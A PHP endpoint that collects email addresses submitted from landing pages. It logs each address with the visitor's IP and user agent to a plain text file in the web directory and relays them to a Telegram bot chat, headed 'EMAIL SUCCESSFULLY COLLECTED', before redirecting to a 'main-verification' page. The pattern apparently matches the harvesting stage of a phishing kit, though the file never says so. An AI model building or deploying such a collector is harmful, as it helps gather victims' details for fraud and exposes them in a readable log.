<?php
/**
 * Store Email API Endpoint
 * Handles email collection from landing pages
 */

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

// Start session
session_start();

// Include configuration (use parent directory)
$config = include __DIR__ . '/../config.php';

// Only allow POST requests
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['success' => false, 'message' => 'Method not allowed']);
    exit;
}

// Get JSON input
$input = json_decode(file_get_contents('php://input'), true);

if (!$input || !isset($input['email']) || !isset($input['landing_page'])) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Invalid input']);
    exit;
}

$email = trim($input['email']);
$landingPage = trim($input['landing_page']);

// Validate email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Invalid email format']);
    exit;
}

// Validate landing page
$validLandingPages = array_keys($config['landing_pages']['available_pages']);
if (!in_array($landingPage, $validLandingPages)) {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'Invalid landing page']);
    exit;
}

// Store email in session
$_SESSION['user_email'] = $email;
$_SESSION['landing_page'] = $landingPage;
$_SESSION['email_collected'] = true; // Mark email collection as complete
$_SESSION['email_collected_at'] = time();

// Log email collection
$logData = [
    'timestamp' => date('Y-m-d H:i:s'),
    'email' => $email,
    'landing_page' => $landingPage,
    'ip_address' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
    'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'
];

// Save to file if enabled
if ($config['storage']['save_to_file']) {
    $logEntry = json_encode($logData) . "\n";
    file_put_contents('email_logs.txt', $logEntry, FILE_APPEND | LOCK_EX);
}

// Send Telegram notification if enabled
if ($config['telegram']['enabled']) {
    $message = "📧 *EMAIL COLLECTED*\n\n";
    $message .= "📋 *Landing Page:* {$config['landing_pages']['available_pages'][$landingPage]}\n";
    $message .= "📧 *Email:* `{$email}`\n";
    $message .= "🌐 *IP:* `{$logData['ip_address']}`\n";
    $message .= "⏰ *Time:* {$logData['timestamp']}\n\n";
    $message .= "✅ *EMAIL SUCCESSFULLY COLLECTED*";
    
    // Send to Telegram
    $telegramData = [
        'chat_id' => $config['telegram']['chat_id'],
        'text' => $message,
        'parse_mode' => 'Markdown'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot{$config['telegram']['bot_token']}/sendMessage");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($telegramData));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $result = curl_exec($ch);
    curl_close($ch);
}

// Return success response
echo json_encode([
    'success' => true,
    'message' => 'Email stored successfully',
    'redirect_url' => 'main-verification.php'
]);
?>
